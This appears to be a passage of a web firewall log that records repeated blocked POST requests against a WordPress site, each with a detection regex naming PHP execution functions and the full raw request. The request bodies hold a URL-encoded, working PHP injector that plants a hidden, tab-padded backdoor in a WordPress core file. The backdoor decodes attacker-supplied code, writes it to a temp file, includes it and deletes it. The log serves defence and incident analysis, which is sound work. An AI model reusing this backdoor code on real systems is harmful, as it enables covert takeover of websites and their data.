\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4542\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nwD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:47","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4542\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\niA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:49","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4542\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nkz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524rec%2529%253A%2520if%2520%2528%2521%2521is_dir%2528%2524rec%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524rec%2522%2520.%2520%2522\/.k%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524holder%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:51","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Uv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-image-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx6Drk%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524elem%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Drk%2522%255D%253B%2520%2524elem%2520%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524elem%2520%2529%2520%253B%2520%2524holder%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2529%253B%2520%2524w%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524elem%253B%2520while%2520%2528%2524v9%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524w%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524chS%2520-%2520%2528%2524w%2520%2525%252010%2529%2529%2520%255E%252084%253B%2520%2524holder%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524w%252B%252B%253B%2520%257D%2520%2524o